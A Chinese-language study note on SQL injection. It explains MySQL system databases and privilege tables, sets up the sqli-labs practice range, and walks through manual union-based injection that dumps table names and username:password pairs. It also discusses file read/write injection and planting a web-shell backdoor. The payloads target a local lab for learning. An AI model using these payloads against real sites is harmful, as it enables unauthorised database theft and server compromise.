不明白的地方表上:(这个地方还不理解)
第一章:SQL 基础
1.1 什么是SQL注入
SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。
web应用程序:移动端的app或PC端的网站网页
用户输入的数据(如登录时的账号密码)是会传递到后台服务器中的数据库去执行——》这导致黑客可以在web应用程序中事先定义好的查询语句的结尾额外添加上SQL语句,一次欺骗数据库服务器执行非授权的查询、植入木马、把数据库里面的数据全部删掉
一、SQL注入原理
web应用程序三层架构:视图层 + 业务逻辑层 + 数据访问层
- 视图层指的是浏览器的页面(我们能看到的那个)——》用户输入数据(账号密码)后,浏览器会向服务器发送一个请求(请求中会包含用户输入的账号密码)
- 业务逻辑层指的是服务器来处理相关业务——》服务器会看我们输入的账号和密码
- 数据访问层指的就是“数据库”——》服务器拿到数据以后回去数据库里面查看是否有这个账号和密码
一个应用程序的登陆界面与后台数据库的交互需要经历哪些流程?
以登陆京东为例子纵观整个流程:用户输入账号密码以后,浏览器会向服务器传输一个请求(request),账号密码也会携带在这个请求里面。然后服务器会发出sql语句来控制数据库,让数据库去查找有没有对应的账号or密码。然后数据库把查找的结果返回给服务器(查找成功则返回成功、查找失败则返回失败),服务接受到了以后再对浏览器做出响应(传送京东购物的页面or输出错误的提示信息)
sql语句是在哪个阶段执行的,那么sql注入就是在哪个阶段发生的——》sql注入发生在业务逻辑层与数据库交互的过程中——》所以整个sql注入就算没有网页页面本质上也是可以发生的!
二、SQL注入之数据库概述(要用到)
数据库分为“关系型数据库”&“非关系型数据库”
(1)关系型数据库
关系型数据库存储的格式就可以直观地反映实体间的关系,和常见的excel表比较相似
关系型数据库中表与表之间有很多复杂的关联关系
常见的关系型数据库有MySQL,Orcale,PostgreSQL,SQL Server等
(2)非关系型数据库
随着近年来技术的提提升,大量的分布式的使用、数据高并发性。依据这些特点才出现了这种数据库——对原先数据库进行简化
数据库的不同,注入方式也会有稍许的变化。
数据库排行:https://db-engines.com/en/ranking
上图是世界数据库的使用排行榜)—大部分公司都是使用排名前1、2的数据库,其他数据库简单了解就行。
1.2 SQL注入之MySQL语句语法
一、MySQL系统库
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-18xfK16f-1681261781681)(sql注入渗透与防御typora图片/4d27fc6e0941461193ba75ebcaafce1b.png)]
数据库的层级关系:在一个MySQL服务器里面有多个数据库,每个数据库里面又有多个数据表,数据表里面就存储着字段(行和列),字段里面才会有我们需要保存的数据。——》后续的注入里面我们就要沿着这一层层的结构去拿到最里面的数据
二、系统库简介
提供访问**数据库的元数据(数据库的个人信息)**的方式
元数据:数据库的个人信息相当于人的身份证,如果被别人拿到就有可能利用这些信息做坏事。元数据包括系统库的库名或者表名,列的数据类型,访问权限…
一个MySQL服务器里面会自动带有四个系统库
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ip8yfSIw-1681261781682)(sql注入渗透与防御typora图片/image-20221203221335277-16705493718363.png)]
information_schema数据库用到比较多,因为含有较多的敏感信息。
三、回顾sql语句语法
1.查询当前数据库服务器所有的数据库的库名
show database;
(其中有4个是系统库哦别忘了,除了这4个数据库以外,其他数据库才是自己创建的)
2.选中某个数据库
use 数据库名字;
3.show tables
作用:查询当前数据库中所有的表(一般都有成百上千章表)
4.查询某个表中所有数据
select * from 表名;
*是通配符,代表所有
5.条件查询
select * from 表名 where 条件(where和if很像)
eg. select * from t1 where id=1;
6.union 合并
进行条件查询时,如果条件有两个以上,那么就要用到union来进行合并查询
e.g. select * from t1 where id=2 union select * from t1 where pass=111;(这两个条件相当于用“或”的关系连接起来)
特性:
1.union前的SQL语句 和union后的SQL语句的结果互不干扰,不会因为前一条语句我们查询不到而导致后一条语句查询不了(与c语言中的&&不一样)
2.union前面的查询语句要查询的字段数量和union后面的查询语句要查询的字段数量要一致。
例子:在select * from t1 where id=2 union select * from t1 where pass=111;命令里面,前一句查询语句和后一句的查询语句的字段数量都是*( 这个符号 * 代表所有),即表t1中的所有字段
7.排序
order by 字段名字
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-1hNrguWQ-1681261781683)(sql注入渗透与防御typora图片/image-20221203221446948-16705494244265.png)]
如上图,表中的id、name、pass都是字段名字
在sql注入中,order by 不是用来排序,而是用来猜解表的列数————》因为order by 后面还可以接数字,如1、2、3… ——》接数字1就表示把表中的数据按照第一个字段数据由小到大进行排列。
1.3 SQL注入之MySQL系统库
tip:一台服务器里面有许多的数据库。
一.系统库(4个)
提供了访问数据库元数据的方式
元数据是关于数据库的数据,如数据库名和表名,列的数据类型或访问权限。
1.information_schema 库
information_schema 库是信息数据库,其中保存着关于MySQL服务器中所有其他数据库的信息(有61张表),例如数据库或表的名称,列的数据类型或访问权限。有时用于此信息的其他术语是数据字典和系统目录。这个库在web渗透过程中用途很大。
information_schema 库中非常重要的3张表:
(1)SCHEMATA表:提供了当前MySQL实例中所有“数据库”信息, show databases语句的结果取自于此表的schema_name字段。
(2)TABLES表:包含当前数据库中所有“表”的信息。
(3)COLUMNS表:提供了表的“列(字段)”信息,详细描述了某张表的所有列以及每个列的信息(名字、类型)。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ECfuDcYV-1681261781684)(sql注入渗透与防御typora图片/f60d65e839dc412db97edf87fd572f47.png)]
(1)SCHEMATA表
SCHEMATA表中SCHEMA_NAME那一列存储了数据库中所有库的名字。(后续会用到)
(2)TABLES表
因为包含了当前数据库中所有表的信息,所以这个表里面的数据量非常大。
这个表里面的table_name 字段(列)保存了数据库里面所有表的名字!
(3)COLUMNS表
数据量比TABLES表的更大!
这个表里面有一个字段叫column_name 来保存数据库中所有字段的名字!
2、performance_schema库(具有87张表)
MySQL 5.5开始新增一个数据库:PERFORMANCE_SCHEMA,主要用于收集数据库服务器性能参数。内存数据库,数据放在内存中直接操作的数据库。相对于磁盘,内存的数据读写速度要高出几个数量级。
3、mysql库是核心数据库
类似于sql server中的master表,主要负责存储数据库的用户(账户)信息、权限设置、关键字等mysql自己需要使用的控制和管理信息。这个库绝对不可以删除,如果对mysql不是很了解,也不要轻易修改这个数据库里面的表信息。
常用举例:在mysql.user表中修改root用户的密码
4、sys库(具有1个表,100个视图)
sys库是MySQL 5.7增加的系统数据库,这个库是通过视图的形式把information_schema和performance_schema的信息整合到了一起,查询出更加令人容易理解的数据。
还可以查询谁使用了最多的资源,哪张表访问最多等。
第二章 :MySQL手工注入
2.1 SQL注入之sqli-labs环境搭建
1.下载sqli-labs
往往很多新手在刚学习SQL注入的时候,都需要拥有一个能SQL注入的网站,需要有SQL注入点 的。直接去互联网上找的话对新手未免有点太难了,因此:我们一般都是在本地搭建一个能SQL注入测试的网站,那样我们学习SQL注入就容易多了。
Sqli-labs是一个印度程序员写的,用来学习sql注入的一个游戏教程。
Sqli-labs项目地址—Github获取:https://github.com/Audi-1/sqli-labs(在预习资料中有下载好的)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-qCUwA2i8-1681261781685)(sql注入渗透与防御typora图片/f0e4cdc9139a41fca432bb51ed8e4d3d.png)]
2.Sqli-labs环境安装
(1)需要安装以下环境
apache+mysql+php
如果可以的话,推荐在windows和linux下分别安装
(2)工具下载链接:
链接:https://pan.baidu.com/s/19om5w_QIK8uGWjhe2_SnXA
提取码:ianb
安装之前确保本地没有下载mysql服务器!
下载地址:https://www.xp.cn/
在发放的预习资料里面有下载好的工具:
解压之后如下图,运行phpstudy_x64.exe:
双击第一个运行程序后,出现安装界面,点击下方的“自定义安装”安装在除C盘外的盘符。之后点击立即安装即可。(一定要记住自己的安装目录 !!!!!!)
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dPcQ3LuA-1681261781686)(sql注入渗透与防御typora图片/f24dfc2541824962a042c5e499e99202.png)]
点击安装之后,会出现安装进度条。等待不到1分钟,就会出现安装完成界面。点击安装完成,进入首页。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q688OkvW-1681261781687)(sql注入渗透与防御typora图片/9435aede1cbe44c1a9025247ee4a1be1.png)]
安装完成启动对应服务:
需要注意的是:phpstudy自带的php版本过高,不兼容sqli-las靶场中php的版本,需要手动设置为低版本
点击 软件管理 --> php --> 选择php5.2.17 点击安装 即可
检查是否更换好:
点击 网站 --> 管理 --> php版本 -->
sqli-las下载解压完成后,把解压文件放入phpstudy安装路径下的www文件夹中
sqli-labs 正常访问需要连接数据库,设置连接数据库配置文件才能正常连接。
mysql配置文件在sqli-labs文件中sql-connections
进入sql-connections找到db-creds文件进行配置,phpstudy中默认账号和密码为 root
注意:要想phpstudy中自带mysql正常使用,需确保本地没有下载mysql服务器,如有需要卸载本地mysql服务,防止端口占用!
phpstudy连接mysql总是启动了又停止
第一种情况可能是端口占用问题,可以选择在phpstudy的MySQL中点击 ‘配置’ 里面更改端口,改成3307即可,不过一般这种情况较少
第二种情况就是曾经在电脑上安装过mysql,忘记了的可以在服务里面进行查看,比如:
如何查看 我的电脑–》右击–》管理–》服务和应用程序–》服务
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-XFxLWcKf-1681261781687)(sql注入渗透与防御typora图片/8756981d09ad41a68681b10cef633ce0.png)]
这时候可以进入win + R输入cmd,最好以管理员的身份进入
之后输入 sc delete mysql,做完这一步在进入注册表,彻底删除之前的mysql
1、HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Eventlog\Application\MySQL 目录删除
2、 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Eventlog\Application\MySQL 目录删除
3、HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Eventlog\Application\MySQL 目录删除
做完这几步后恭喜你,离成功很近了,再次进入phpstudy,在软件管理中删除之前的mysql服务,重新安装自己合适的选项,之后再去首页启动mysql服务就成功啦!
2.2 SQL注入之MYSQL手工注入
本章节重点在于熟悉注入流程,以及注入原理。练习靶场为sqli-labs第二关数字型注入。
这章讲的是手工注入,因为后面可能还会使用一些工具来帮助我们进行注入。
一、sqli-labs数字型注入
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MfEwMJDF-1681261781688)(sql注入渗透与防御typora图片/a6c51cb8e8ec4a3b8840fa3c8e105f86.png)]
知识点1:浏览器对服务器进行数据提交的方式
1.get提交——>通过==url(网址)==提交到服务器上面去,即把数据嵌套到网址当中(如上图)
2.post提交——>直接通过服务器提交
tip:目前大多数上线的网址都用post提交方式——因为安全性更高(如果用get提交方式的话,用户输入的用户名和密码都会被别人看到,不安全)、提交的数据量更大;而且get提交方式对提交的数据长度有限制(2083字节,约2KB),所以我们很多东西提交不上去
get提交的优势:提交速度很快——所以数据不敏感、数据容量小的情况下我们会使用get提交
底层:在url中输入id值,这个id会作为程序源码中的一个参数($id),引导程序的执行,然后我们就可以得到对应数据。
less-2源码分析:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-4R2ot8vx-1681261781688)(sql注入渗透与防御typora图片/d4245f8d3a7b423ebb96ddaa5f894fa8.png)]
因为我们输入的东西,MySQL会将其当作一个参数加入到SQL代码中,所以我们在我们输入的东西里面加上SQL语句,就可以实现在源码的基础上添加一写额外的SQL语句。
二、注入流程
1.判断是否有注入点——就比如上面的数字注入,如果源码里面对用户输入的值做了过滤和判断,那就没有注入点了——判断的方法:用“and 1=1”这条语句 来判断(因为and 1=1 就是ture)
2.进行猜解列名数量(也就是字段数量)——使用“order%20by20%数字”语句来推断(%20表示一个空格)——》如果使用了不存在的字段编号来排序,会报错,由此可推断出我们输入的字段编号过大了,应该输入得小一点(本质上第二步是为了给第三步做辅助和铺垫的)
3.通过系统的报错,来判断回显点——使用union(联合查询)
回显点:
回显点就是,代码从数据库获取到的数据,有些会通过参数展示到前端页面让用户查看,比如你的年龄之类的信息就可以通过个人信息之类的地方看到,然后通过注入可以去测试,哪些参数在后端代码是写了进行前端展示的,用于当做回显点利用
4.在回显点处做信息收集——数据库的版本号(使用函数version());数据库的名称(使用database()函数)——数据搜寻的越多,我们注入的方式也就越多
补充:数据库分为高版本和低版本——高版本是在5.0版本以上,低版本是在5.0一下。只有高版本的数据库才有“系统库”这个概念,低版本是没有系统库的,所以对于高版本数据库和低版本数据库注入的方式不一样。我们现在讲的是高版本的数据库——只需要查询系统库就可以找到我们想要的信息。
5.使用对应的SQL进行注入——达到我们可以任意查询的目的
回顾:4个系统库之一的information_schema库中有很多表,其中有三张表分别存储的是MySQL中所有数据库的信息、所有表的信息、所有列的信息
库名我们不需要通过schemata表来查询,使用database()这个函数就可以拿到当前这个库的库名了;接下来我们要找当前的库下面有多少张表,表名都是什么;然后通过经验和表名来判断哪张表里面会存有网站的用户的账号名和密码。(具体的注入语句在下面)
三、注入语句
尝试手工注入:
SQL注入:
1.判断有无注入点——使用 id=1 and 1=1//因为这个1=1就是true
初学者判断能否注入随便输入内容就行——》如果系统报错了,说明数据库接收了我们的输入,也就是说明该数据库可以进行sql注入;如果系统没有反应,则说明我们输入的非法数据被数据库过滤掉了,所以该数据库使用本节讲的方式没有办法注入sql漏洞
2.猜解列名数量 order by %20 数字
一直递增这个数字,直至网页上报错说我输入了一个错误的信息或者说数据库里面没有这个信息
3.报错,判断回显点——使用union(输入index.php?id=-1%20union%20select%201,2,3) ——》经过判断后发现回显点为第二位和第三位
4.信息收集
数据库版本 version()
查找数据库名称的函数——database()
结果:查到数据库库名为security
5.使用对应SQL进行注入
目标:获取网站中所有用户的用户名和对应的密码
第一步:对数据库列表中的第二位与第三位输入sql语句获取该数据库中所有表的表名
index.php?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema='security';//因为只有2,3位是回显点,所以把查询表名的操作放在2号位置or3号位置。该语句的意思是——》查询information_schema中数据库名为security的数据库中的所有表名(. 表示下一级 )
tip:因为table_name在一个数据库里面有很多,一个小小的位置可能输出不了全部信息,所以我们会用一个group_concat()把table_name括起来合并输出,即:
index.php?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security';
tip:库名security还可以通过一个函数database()进行替换(因为这个security库名就是通过database()语句查出的),变为:union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()//注意,这个=号的前后不能打空格,必须要连到一起
第二步:通过上面的sql注入语句获得表名以后,通过经验常识判断出哪一个表里面含有账号密码等信息
在老师上课的例子里面,我们查到security数据库中只有4张表,而我们判断表名为users的表的中存储了账号和密码信息
第三步:获取表里面的字段信息
union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'
但是如果直接执行上述语句还是会报错的,因为还需要把users换成16进制的数字(即,把字符转换成16进制数0x7573657273——百度上搜一下就有类似的工具,7573657273是user对应的16进制数,0x代表这是个16进制数)
第四步:上面一步里面的代码执行完以后,我们可以发现确实含有username和password这两个字段,接着我们就去获取这两个字段里面的数据就行了。
union select 1,2,(select group_concat(username,0x3a,password)from users)//0x3a代表“:”(冒号符号)
tip:group_concat()的作用是把重复的东西给合并到一起:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KxSEK5Hm-1681261781690)(sql注入渗透与防御typora图片/image-20221209181702404.png)]
tip:判断有无注入点时输入and 1=1的作用:
只有在前端输入的内容会被当成SQL语句处理的时候,才会出现注入的漏洞;反之,如果前端输入的内容,仅仅被当作一个字符串参数,那么就会变成某个查询字段的值去匹配数据库,这种情况下肯定是查不到任何数据的。
所以,我们判断的方式,就是加入了这样的条件,前端的查询结果是有有变化。
如果从正常参数的有数据返回,变成了注入参数的无数据返回,就说明参数没有被当成SQL语句处理;
反之,如果加入了注入参数,依然有数据返回,说明1=1的条件被解析执行了。所以存在注入漏洞。
举例:
后端拼接的查询语句:where id = $id and name =$name
正常查询语句:where id=1 and name =‘xiaoming’,有数据返回。
注入参数值(1’ and 1=1 #),后端没有处理:where id=1’ and 1=1 #…(后面的被注释了) ,此时条件依然成立,有数据返回——有注入漏洞。
注入参数值(1’ and 1=1 #),后端有处理:where id=“1’ and 1=1 #” and name="xiaoming "… ,此时条件不成立(没有id的值为 1' and 1=1 #
),没有数据返回——没有注入漏洞。
最后爆破出的结果长这样:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RAbIuKFf-1681261781691)(sql注入渗透与防御typora图片/image-20221209195648460.png)]
四、自己的运行
pre:判断有无注入漏洞
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9rnYyHiV-1681261781691)(sql注入渗透与防御typora图片/image-20221213140455003.png)]
1.下图就是输入index.php?id=-1%20order%20by%204以后发现网页报错,说明这个表里面只有3列信息
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xtWkrde3-1681261781692)(sql注入渗透与防御typora图片/image-20221213130600325.png)]
2.输入index.php?id=-1%20union%20select%201,2,3判断回显点
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-A54QMWLT-1681261781692)(sql注入渗透与防御typora图片/image-20221213131056556.png)]
3.查找数据库名称
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8mkRKy68-1681261781693)(sql注入渗透与防御typora图片/image-20221213131255369.png)]
4.在我找到这个网站对应的数据库以后,我接下来我输入index.php?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema=‘security’发现只显示了一个表名:email;
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tIyrFuo8-1681261781693)(sql注入渗透与防御typora图片/image-20221213132522162.png)]
但是感觉不可能只有一个表名,于是使用合并输出的函数group_concat(table_name),这次全部表名就都输出了。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-meVJGLRN-1681261781694)(sql注入渗透与防御typora图片/image-20221213132442306.png)]
5.根据经验推测,账号密码应该存放在了users表中,所以我们去找个表里面查看其字段
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3XRyQE6p-1681261781694)(sql注入渗透与防御typora图片/image-20221213133534397.png)]
6.然后我们看到了代表用户名的username字段和用户对应密码的passwork字段,于是我们接下来去查看这两个字段里面的内容
输入:index.php?id=-1 union select 1,2,(select group_concat(username,“:”,password)from%20users)或者index.php?id=-1 union select 1,2,(select group_concat(username,0x3a,password)from%20users)
0x3a代表’:’
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DqbEqZ6C-1681261781695)(sql注入渗透与防御typora图片/image-20221213140211624.png)]
finally,我们就拿到了所有用户的账号已经密码。
2.3 SQL注入之高权限注入
在数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。直白一些就是高权限系统用户拥有整个数据库的操作权限,而普通用户只拥有某部分被配置了的权限。
网站在创建的时候会调用数据库链接,会区分系统用户链接与普通用户链接;当多个网站保存在同一个数据库的时候,root就拥有最高权限可以对该数据库中所有网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作。
tip:一个服务器里面有多个数据库[不同的数据库代表着不同公司的数据或者不同网页中的数据]
一、多个网站共享mysql服务器
只有高版本的mysql才有系统库,所以也只有高版本的mysql才可以用高权限注入的方式;低版本的mysql是没有系统库这个东西的。
二、MySQL 权限介绍
1.查看上节课靶场第二关中我们的用户权限——通过看源码的方式:
源码路径为C:\cyberspacesecurityphpstudy\phpstudy_pro\WWW\sqli-labs-master\sql-connections
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-N1qJ41v8-1681261781696)(sql注入渗透与防御typora图片/image-20221213094247226.png)]
sql-connect.php就是靶场第二关的配置文件
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xbOLkdol-1681261781696)(sql注入渗透与防御typora图片/image-20221213094714935.png)]
db-creds.inc又是一个存储了数据库用户信息的文件(即用户是root权限还是普通权限的一个文件),我们可以在这里添加、更改、删除我们的权限。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-FkJMGFJU-1681261781697)(sql注入渗透与防御typora图片/image-20230112101516283-167348971887520.png)]
2.如何查看我们当前的权限有哪些?——要查看系统库mysql中的四张控制权限表(系统权限表)
A.系统库mysql中的四张控制权限表(系统权限表):user表,db表,tables_priv表,columns_priv表
系统库mysql中保存着4个**“控制权限的表”,这四个表的权限由大到小的顺序**分别为==user表,db表,tables_priv表,columns_priv表==;
uses表是最高权限,拥有整个服务器中所有数据库的权限;db表可以看到我们对某个数据库的权限;“tables_priv表”代表着拥有对表的操作权限;“**columns_priv表”代表有对字段(列)**的操作权限(users和db表不是很明白他们的区别)
- User表:存放用户账户信息以及全局级别(所有数据库)权限,决定了来自哪些主机的哪些用户可以访问数据库实例,如果有全局权限则意味着对所有数据库都有此权限
- Db表:存放数据库级别的权限,决定了来自哪些主机的哪些用户可以访问此数据库
- Tables_priv表:存放表级别的权限,决定了来自哪些主机的哪些用户可以访问数据库的这个表
- Columns_priv表:存放列级别的权限,决定了来自哪些主机的哪些用户可以访问数据库表的这个字段
- Procs_priv表:存放存储过程和函数级别的权限
B.user表与db表的区别:
1.db表
2.user表
mysql 权限系统通过两个阶段进行认证:(1) 对连接的用户进行身份认证,合法的用户通过认证,不合法的用户拒绝连接;(2) 对通过认证的合法用户赋予相应的权限,用户可以在这些权限范围内对数据库做相应操作。
对于身份认证, mysql是通过ip地址和用户名联合进行确认的, 例如在mysql安装后默认创建的用户root@localhost表示用户root 只能从本地(localhost)进行连接才可以通过认证,此用户从其它任何主机上对数据库进行的连接都将被拒绝。 可以说同样一个用户名,如果来自不同的ip地址,则mysql将视为不同的用户。
user表是MySQL最重要的权限表之一,在用户登录就是匹配user表中的Host、User、Password这三个字段,当三个字段同时匹配时才能允许登陆。
user表中以priv结尾的字段就是决定了用户的权限,这些字段默认都是N。
Host和User列为user表的联合主键,当用户与服务器建立连接时,输入的用户名、主机名和密码必须匹配user表中对应的字段,只有这三个值,都匹配的时候,才允许建立连接。
区别:
user表的权限管理是针对所有数据库的某个用户权限;而db表的权限管理是针对某个数据库的某个用户权限。
例如,user表中某用户的Select_priv字段取值为Y,那么该用户可以查询所有数据库中的表;
如果该用户只设置了查询某数据库或者某数据中某个表的权限,那么该用户在user表中Select_priv字段就为N,而这个SELECT权限则记录在db表中。在db表中该用户的Select_priv字段就为Y。所以,用户获取权限是先根据user表,然后再根据db表的。
3.登陆MySQL时,MySQL通过mysql权限表对用户权限的验证过程为:
比如我们现在登陆了一个test的用户,接着权限的验证就开始了:
先从user表中的Host,User,Password这3个字段中判断连接的ip是否正确,用户名、密码是否存在;存在则通过验证,开始权限分配,即:按照user,db,tables_priv,columns_priv的顺序进行验证。
即先检查全局权限表user,如果user中对应的权限为Y,则此用户对所有数据库的权限都为Y(yes),则不再检查db, tables_priv,columns_priv;如果为N,则到db表中检查此用户对应的具体数据库.
若得到db中为Y的权限;如果db中为N,则检查tables_priv中此数据库对应的具体表,取得表中的权限Y,以此类推。
4.MySQL 权限级别分为:
全局性的管理权限—— 作用于整个MySQL实例级别
数据库级别的权限——作用于某个指定的数据库上或者所有的数据库上
数据库对象级别的权限——作用于指定的数据库对象上(表、视图等)或者所有的数据库对象
5.查看mysql系统库中的4张权限控制表:
首先打开phpstudy点击“设置”——文件位置—— 点击MySQL并选择对应的MySQL版本,接着就会跳转到MySQL对应的源文件位置——找到bin文件并点击进入——接着在bin文件的文件目录处输入cmd,如何就打开了一个命令行:
输入mysql -uroot -proot -h 127.0.0.1进行登陆(root账号进行登陆)——输入show databases;可以看到数据库里面的所有库(可以看到mysql库)——输入use mysql进入mysql库——输入show tables:就可以看到mysql中的所有表:
6.查看当前用户的访问权限
输入mysql> select user,host from mysql.user;查看user表的用户名和host字段
6.接着查看我们某个用户对应权限(我们下面的语句查看的就是用户名为root的用户的权限):
select * from user where user=‘root’ and host=‘localhost’\G; ——>发现所有权限都是Y ,也就是什么权限都有
-
在mysql表中创建一个普通用户(了解即可),查看他的权限来与root用户的权限做对比
有两种方式创建MySQL授权用户way1:执行create user/grant命令(推荐方式)
CREATE USER ‘test1’@‘localhost’ IDENTIFIED BY ‘some_pass’;//test1的是要创建用户的用户名;localhost是主机的IP;some_pass是要创建的用户的登陆密码
way2:通过insert语句直接操作MySQL系统权限表(这种方式老师没讲)
创建完一个用户以后,可以通过select * from user where user=‘test1’ and host=‘localhost’\G;查看一些我们这个用户的权限,会发现新创建的用户什么权限都没有(全部都是N,连查看的权限都没有)
接下来我们输入mysql -utest1 -p然后输入密码进入test1用户,然后输入show databases来访问数据库,会发现我们只能看得到information_schema这一个数据库(因为没有权限查看其他系统库)
8.提高一个普通用户的权限(把普通用户变成管理员)
首先退出test1用户,切换回系统管理员—root用户,然后输入show databases---->use mysql---->GRANT ALL PRIVILEGES ON . TO ‘test1’@‘localhost’ WITH GRANT OPTION;//grant all privileges是“给予所有权限” ,to 是“给” test1用户
输入select * from user where user=‘test1’ and host=‘localhost’\G;来查看test1用户的权限,发现权限由全部都是N变成了全部都是Y——》输入show database发现现在所有系统库都能看到了
9.删除用户
drop user finley@‘localhost’;
10.只给予用户(test2)某个表(test库中的ti表)中的某个字段(id)的查询权限(我们不想给予全部权限)
grant select(id) on test.t1 to test2@‘localhost’ identified by ‘123456’;//给予“test1查询test.temp的id”的权限(tip:id是test库中的t1表里面的一个字段名)
tip:老师说,目前sql语句不需要每一句话什么意思都搞清楚,以后要用的时候来这里找就行了
2.4 SQL注入之高权限注入
只有我们的用户是root用户,我们才有查看information_schema这个系统库的权限,我们才可能通过information_schema库查数据库名称、表名称、字段名称。(只有高版本的mysql才有系统库,所以也只有高版本的mysql才可以用高权限注入的方式;低版本的mysql是没有系统库这个东西的)
注意:在下面的4步流程中可以看到老师的演示中有一个test表,这个表是老师自己实现创建好的。
反正高权限注入的主要意思就是告诉我们如果我们有root权限,那么我们就可以直接查看系统库information_schema,接着既可以很轻易地拿到数据库中存储的所有用户的用户名和密码!(但是也要找到回显点才可以)
一、查询所有数据库名称
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(schema_name),3%20from%20information_schema.schemata//系统库information_schema里面有一张表schemata,里面保存着服务器下所有数据库名的信息
//发现了test库
二、查询数据库对应的表名
http://localhost/sqli-labs-master/Less-2/?id=-2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=0x74657374//系统库information_schema里面有一张表tab,tab里面有一个字段,保存着mysql里面所有表的表名
//table_schema=0x74657374就是table_schema=test的意思,0x74657374是test的16进制
查找结果:test库中只有t1表
三、查询表名对应的字段名
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_name=0x7431 //在系统库information_schema中有一个表columns,里面有一个字段是column_name
四、查询数据
http://localhost/sqli-labs-master/Less-2/?id=-2%20union%20select%201,name,pass%20from%20test.t1
//必须要写成test.t1,不能直接写t1,因为服务器里面有很多数据库,每个数据库里面都可能有叫t1的表
2.5 SQL注入之文件读写
如果我们是root用户,我们可以读取服务器里面的所有数据库的数据;除此之外,我们还可以读取服务器这台电脑上面其他与数据无关的所有文件;我们可以控制其他用户读写的权限;我们还可以向这台服务器中添加or删除文件。
我们喜欢读取的东西:
1.用户信息–账号、密码
2.服务器的配置信息–服务器下面搭建了哪些网址,网址信息是什么,哪些是核心敏感的信息
我们喜欢写的东西:
在服务器内部植入一句话木马,当作一个后面。这样我们就可以通过这个后面来远程操控这些信息。(有了后门会简单很多)
文件读写注入的原理
就是利用文件的读写权限进行注入,它可以写入一句话木马,也可以读取系统文件的敏感信息。
文件读写注入的前提条件
前提1:我们的用户是高权限用户,否则是没有对文件读写的权限的。
前提2:高版本的MYSQL添加了 一个新的特性secure_file_priv,该选项限制了mysql导出文件的权限,所以我们是root用户以后我们还要把这个选项给打开(root用户是可以打开的)
难点:需要知道想要读取的文件的路径信息
secure_file_priv选项
linux
cat etc/my.cnf(在etc里面有my.cnf这个配置文件,这个配置文件里面就有secure_file_priv选项)
[mysqld]
secure_file_priv=
win
www/mysql / my.ini(在mysql的配置文件中有一个my.ini)
[mysqld]
secure_file_priv=
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TSPIV60z-1681261781699)(sql注入渗透与防御typora图片/image-20230113230711224.png)]
在Windows的cmd中输入 show global variables like ‘%secure%’ 可以查看mysql全局变量的配置以此来查看我们配置成功没有
1、读写文件需要 secure_file_priv
权限
(1)secure_file_priv=''
——>代表对文件读写不受限制
(2)secure_file_priv=NULL
——>代表不能进行文件读写
(3)secure_file_priv=d:/phpstudy/mysql/data
——>代表只能对该路径下文件进行读写
我们的phpstudy默认我们的root用户是没有对文件读写的权限的——》所以我们需要再配置文件中加上secure_file_priv=‘’
2、需要知道网站绝对路径
Windows中常见的路径:
Linux常见路径:
3、获取路径常见方式:
报错显示(通过报错信息中的一些网址路径),遗留文件,漏洞报错,平台配置文件等
A.报错提示
B.遗留文件
程序员在研发的过程中可能会写很多文件(小组合作分组啊,项目的框架啊…),项目上线以后有可能程序员没有即使将他删除掉————》那么在部署上线以后我们可以通过这些遗留文件找到当前服务器的版本、用到框架、在那个地址、路径。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Jy39c2yc-1681261781700)(sql注入渗透与防御typora图片/image-20230114003007144.png)]
这个就是老师在网上搜inurl.phptinfo.php时搜索到的一个遗留文件——这个就是241chh网址的一个遗留文件——有网址的信息–有部署的系统、文件为位置、字符编码的格式、读取的权限…
读取文件
